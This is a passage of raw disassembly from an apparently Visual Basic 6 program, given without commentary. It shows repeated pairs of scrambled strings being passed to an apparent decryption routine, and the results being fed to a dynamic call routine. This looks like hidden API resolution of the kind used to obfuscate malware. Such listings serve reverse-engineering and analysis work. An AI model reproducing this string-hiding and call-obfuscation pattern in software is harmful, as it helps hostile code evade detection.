		lea	edi, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		mov	edi, eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		mov	[ebp+var_1C], edi
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	[ebp+var_1C], esi
		jz	loc_40EC50
		mov	eax, [ebp+arg_0]
		push	3
		mov	[ebp+var_60], eax
		pop	edi
		lea	eax, [ebp+var_68]
		push	eax
		mov	[ebp+var_68], edi
		call	rtcIsNumeric
		lea	ecx, [ebp+var_68]
		mov	[ebp+var_A4], eax
		call	__vbaFreeVar
		cmp	word ptr [ebp+var_A4], si
		jz	loc_40E62F
		mov	edx, offset aZti0yhxr ;	"Zti0yHXR"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset a4da55a5ba4177c ; "4DA55A5BA4177C6C"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset aJdcxxabemq2lb ; "JdcxxAbemq2lb"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset aF64d71c23d023d ; "F64D71C23D023D104D8CB1AB26"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	2
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	ebx
		call	__vbaRedim
		mov	eax, [ebp+var_1C]
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		mov	[ebp+var_7C], edi
		mov	[ebp+var_74], eax
		lea	edi, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		push	1
		push	[ebp+var_6C]
		lea	eax, [ebp+arg_4]
		mov	edi, 4003h
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], edi
		lea	ebx, [ebp+var_8C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+arg_0]
		push	2
		push	[ebp+var_6C]
		mov	[ebp+var_94], eax
		mov	[ebp+var_9C], 3
		lea	ebx, [ebp+var_9C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		mov	[ebp+var_30], ebx
		call	__vbaFreeStrList
		add	esp, 24h
		mov	ebx, 880h
		jmp	short loc_40E634
; ---------------------------------------------------------------------------


loc_40E62F:				; CODE XREF: sub_40E325+1A9j
		mov	edi, 4003h


loc_40E634:				; CODE XREF: sub_40E325+308j
		cmp	[ebp+var_30], esi
		jz	loc_40EC50
		mov	edx, offset aOi8gef0nadab6b ; "oI8gEF0NAdAb6BgJ"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset a90d8f4e1ff31b7 ; "90D8F4E1FF31B763"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset aF9r442gbj489h ; "F9r442gBj489H"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a861e877cee016f ; "861E877CEE016F10F10E13DD"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	ebx
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_74], eax
		mov	[ebp+var_7C], edi
		lea	ebx, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_6C]
		lea	eax, [ebp+var_30]
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], edi
		lea	ebx, [ebp+var_8C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		mov	[ebp+var_20], ebx
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset a9awqe5modvclj3 ; "9awqE5moDVclj3"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset a0255e498be029d ; "0255E498BE029D7C"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset a5uk8nazmmh5k6o ; "5uk8nAzMMH5k6ODH"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a1edeb7fdc4b8da ; "1EDEB7FDC4B8DA8CBA5F4512"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		lea	eax, [ebp+var_20]
		mov	[ebp+var_74], eax
		mov	[ebp+var_7C], edi
		lea	ebx, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		mov	[ebp+var_24], ebx
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset aAgi1yfp78le ; "aGi1yFP78le"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset off_408A00
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset aZc45x39l16oc08 ; "zC45X39L16Oc08"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a0b8d12e825793f ; "0B8D12E825793F7E8B99901F661A"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_74], eax
		mov	[ebp+var_7C], edi
		lea	ebx, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_6C]
		lea	eax, [ebp+var_30]
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], edi
		lea	ebx, [ebp+var_8C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		mov	[ebp+var_34], ebx
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	[ebp+var_34], esi
		jz	loc_40EC50
		push	[ebp+var_34]
		lea	eax, [ebp+var_68]
		push	eax
		call	rtcSpaceVar
		lea	eax, [ebp+var_68]
		push	eax
		call	__vbaStrVarMove
		mov	edx, eax
		lea	ecx, [ebp+var_2C]
		call	__vbaStrMove
		lea	ecx, [ebp+var_68]
		call	__vbaFreeVar
		mov	eax, [ebp+var_34]
		push	esi
		push	1
		pop	ebx
		sub	eax, ebx
		jo	loc_40ECDB
		push	eax
		push	ebx
		push	11h
		lea	eax, [ebp+var_28]
		push	eax
		push	ebx
		push	80h
		call	__vbaRedim
		add	esp, 1Ch
		mov	edx, offset a03spjxpoxnn ; "03SPjxPoXnN"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset a750b1e8f1accec ; "750B1E8F1ACCEC4F"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset a5jjxe92ktwfrh ; "5JjxE92kTWfRH"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a97b17caec49ab7 ; "97B17CAEC49AB769A910C73427"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	2
		push	ebx
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	[ebp+var_28]
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_38]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	ebx, eax
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		mov	[ebp+var_74], ebx
		mov	[ebp+var_7C], 3
		lea	ebx, [ebp+var_7C]
		push	esi
		push	[ebp+var_6C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	1
		push	[ebp+var_6C]
		lea	eax, [ebp+var_24]
		mov	[ebp+var_84], eax
		mov	[ebp+var_8C], edi
		lea	ebx, [ebp+var_8C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	2
		push	[ebp+var_6C]
		lea	eax, [ebp+var_34]
		mov	[ebp+var_94], eax
		mov	[ebp+var_9C], edi
		lea	ebx, [ebp+var_9C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset aEx4wuvrkqtq62 ; "ex4wuvRKQTq62"
		lea	ecx, [ebp+var_40]
		call	__vbaStrCopy
		mov	edx, offset aDc81a966f01098 ; "DC81A966F01098B7"
		lea	ecx, [ebp+var_3C]
		call	__vbaStrCopy
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_54]
		call	__vbaStrMove
		mov	edx, offset aS3u4yxkkfm3p ; "s3U4yXkkfm3P"
		lea	ecx, [ebp+var_48]
		call	__vbaStrCopy
		mov	edx, offset a5fb7248e5f9d14 ; "5FB7248E5F9D14BCBD7D7F92"
		lea	ecx, [ebp+var_44]
		call	__vbaStrCopy
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_58]
		call	__vbaStrMove
		push	esi
		push	esi
		push	1
		push	esi
		lea	eax, [ebp+var_6C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_6C]
		lea	eax, [ebp+var_20]
		mov	[ebp+var_7C], edi
		mov	[ebp+var_74], eax
		lea	edi, [ebp+var_7C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarZero
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_50]
		mov	[ebp+var_58], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_54]
		lea	ecx, [ebp+var_4C]
		mov	[ebp+var_54], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_6C]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	__vbaAryMove


loc_40EC50:				; CODE XREF: sub_40E325+179j
					; sub_40E325+312j ...
		push	offset loc_40ECC7
		jmp	short loc_40ECB3
; ---------------------------------------------------------------------------


loc_40EC57:				; DATA XREF: .text:0040137Co
		test	[ebp+var_4], 4
		jz	short loc_40EC6B
		lea	eax, [ebp+var_18]
		push	eax
		xor	esi, esi
		push	esi
		call	__vbaAryDestruct
		jmp	short loc_40EC6D
; ---------------------------------------------------------------------------


loc_40EC6B:				; CODE XREF: sub_40E325+936j
		xor	esi, esi


loc_40EC6D:				; CODE XREF: sub_40E325+944j
		lea	eax, [ebp+var_38]
		push	eax
		call	__vbaAryUnlock
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_4C]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		lea	ecx, [ebp+var_68]
		call	__vbaFreeVar
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		call	__vbaAryDestruct
		retn
; ---------------------------------------------------------------------------


loc_40ECB3:				; CODE XREF: sub_40E325+930j
					; DATA XREF: .text:00401378o
		lea	eax, [ebp+var_28]
		push	eax
		push	0
		call	__vbaAryDestruct
		lea	ecx, [ebp+var_2C]
		call	__vbaFreeStr
		retn
; ---------------------------------------------------------------------------


loc_40ECC7:				; DATA XREF: sub_40E325:loc_40EC50o
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ECDB:				; CODE XREF: sub_40E325+699j
		call	__vbaErrorOverflow
sub_40E325	endp ; sp-analysis failed



loc_40ECE0:				; CODE XREF: sub_4097F2+2AE2p
					; sub_4097F2+2D52p
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	offset __vbaExceptHandler
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0E0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], esp
		mov	dword ptr [ebp-8], offset dword_401380
		xor	esi, esi
		push	11h
		push	offset dword_408CF0
		lea	eax, [ebp-34h]
		push	eax
		mov	[ebp-1Ch], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-50h], esi
		mov	[ebp-54h], esi
		mov	[ebp-58h], esi
		mov	[ebp-5Ch], esi
		mov	[ebp-60h], esi
		mov	[ebp-64h], esi
		mov	[ebp-68h], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-70h], esi
		mov	[ebp-74h], esi
		mov	[ebp-84h], esi
		mov	[ebp-94h], esi
		mov	[ebp-0A4h], esi
		mov	[ebp-0B4h], esi
		mov	[ebp-0C4h], esi
		mov	[ebp-0D4h], esi
		mov	[ebp-0D8h], esi
		call	__vbaAryConstruct2
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		push	1
		pop	edi
		push	edi
		call	__vbaUbound
		mov	ecx, [ebp+0Ch]
		add	eax, edi
		jo	loc_40F257
		mov	[ecx], eax
		imul	eax, 0Dh
		push	esi
		jo	loc_40F257
		push	eax
		push	edi
		mov	[ebp-44h], eax
		push	11h
		lea	eax, [ebp-1Ch]
		push	eax
		push	edi
		push	80h
		call	__vbaRedimPreserve
		add	esp, 1Ch
		mov	edx, offset aH38i5q4gt10 ; "h38i5q4gT10"
		lea	ecx, [ebp-58h]
		call	__vbaStrCopy
		mov	edx, offset off_408BCC
		lea	ecx, [ebp-54h]
		call	__vbaStrCopy
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp-6Ch]
		call	__vbaStrMove
		mov	edx, offset aM5i6t02o0qwu2f ; "M5i6T02o0QWU2f"
		lea	ecx, [ebp-60h]
		call	__vbaStrCopy
		mov	edx, offset a07e6eb19108c5d ; "07E6EB19108C5D271A4E68C46AF0D32D082143"
		lea	ecx, [ebp-5Ch]
		call	__vbaStrCopy
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp-70h]
		call	__vbaStrMove
		push	esi
		push	5
		push	edi
		push	esi
		lea	eax, [ebp-74h]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	3
		pop	edi
		push	esi
		push	dword ptr [ebp-74h]
		mov	dword ptr [ebp-7Ch], 102h
		mov	[ebp-84h], edi
		lea	ebx, [ebp-84h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp-4Ch]
		push	eax
		call	__vbaAryLock
		push	esi
		push	dword ptr [ebp-4Ch]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp-0D8h]
		push	1
		push	dword ptr [ebp-74h]
		mov	[ebp-8Ch], eax
		mov	[ebp-94h], edi
		lea	ebx, [ebp-94h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	2
		push	dword ptr [ebp-74h]
		lea	eax, [ebp-44h]
		mov	[ebp-9Ch], eax
		mov	dword ptr [ebp-0A4h], 4003h
		lea	ebx, [ebp-0A4h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		lea	eax, [ebp-50h]
		push	eax
		call	__vbaAryLock
		push	esi
		push	dword ptr [ebp-50h]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	ebx, eax
		lea	eax, [ebp-50h]
		push	eax
		call	__vbaAryUnlock
		push	edi
		push	dword ptr [ebp-74h]
		mov	[ebp-0ACh], ebx
		mov	[ebp-0B4h], edi
		lea	ebx, [ebp-0B4h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	eax, [ebp+0Ch]
		push	4
		push	dword ptr [ebp-74h]
		mov	[ebp-0BCh], eax
		mov	dword ptr [ebp-0C4h], 4003h
		lea	ebx, [ebp-0C4h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp-3Ch]
		push	eax
		call	VarPtr
		push	5
		push	dword ptr [ebp-74h]
		mov	[ebp-0CCh], eax
		mov	[ebp-0D4h], edi
		lea	ebx, [ebp-0D4h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp-70h]
		lea	ecx, [ebp-68h]
		mov	[ebp-70h], esi
		call	__vbaStrMove
		mov	edx, [ebp-6Ch]
		lea	ecx, [ebp-64h]
		mov	[ebp-6Ch], esi
		call	__vbaStrMove
		lea	eax, [ebp-74h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		call	sub_408D64
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	8
		call	__vbaFreeStrList
		mov	eax, [ebp-3Ch]
		push	esi
		push	1
		pop	ebx
		sub	eax, ebx
		jo	loc_40F257
		push	eax
		push	ebx
		push	11h
		lea	eax, [ebp-40h]
		push	eax
		push	ebx
		push	80h
		call	__vbaRedim
		add	esp, 40h
		mov	edx, offset a78kcis6ry6w9u5 ; "78kcis6RY6W9U5V"
		lea	ecx, [ebp-58h]
		call	__vbaStrCopy
		mov	edx, offset aBc24719aa57954 ; "BC24719AA57954F7"
		lea	ecx, [ebp-54h]
		call	__vbaStrCopy
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp-6Ch]
		call	__vbaStrMove
		mov	edx, offset aTtov6yukox	; "ttoV6YuKOx"
		lea	ecx, [ebp-60h]
		call	__vbaStrCopy
		mov	edx, offset aE217fe6beffc6f ; "E217FE6BEFFC6FAE39073AF75D"
		lea	ecx, [ebp-5Ch]
		call	__vbaStrCopy
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp-70h]
		call	__vbaStrMove
		push	esi
		push	2
		push	ebx
		push	esi
		lea	eax, [ebp-74h]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-4Ch]
		push	eax
		call	__vbaAryLock
		push	esi
		push	dword ptr [ebp-4Ch]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp-0D8h], eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp-0D8h]
		push	esi
		push	dword ptr [ebp-74h]
		mov	[ebp-7Ch], eax
		mov	[ebp-84h], edi
		lea	ebx, [ebp-84h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	dword ptr [ebp-1Ch]
		lea	eax, [ebp-50h]
		push	eax
		call	__vbaAryLock
		push	esi
		push	dword ptr [ebp-50h]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	ebx, eax
		lea	eax, [ebp-50h]
		push	eax
		call	__vbaAryUnlock
		push	1
		push	dword ptr [ebp-74h]
		mov	[ebp-94h], edi
		mov	[ebp-8Ch], ebx
		lea	edi, [ebp-94h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarMove
		lea	eax, [ebp-3Ch]
		mov	[ebp-9Ch], eax
		mov	dword ptr [ebp-0A4h], 4003h
		lea	edi, [ebp-0A4h]
		push	2
		push	dword ptr [ebp-74h]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, edi
		call	__vbaVarZero
		mov	edx, [ebp-70h]
		lea	ecx, [ebp-68h]
		mov	[ebp-70h], esi
		call	__vbaStrMove
		mov	edx, [ebp-6Ch]
		lea	ecx, [ebp-64h]
		mov	[ebp-6Ch], esi
		call	__vbaStrMove
		lea	eax, [ebp-74h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		call	sub_408D64
		lea	eax, [ebp-74h]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
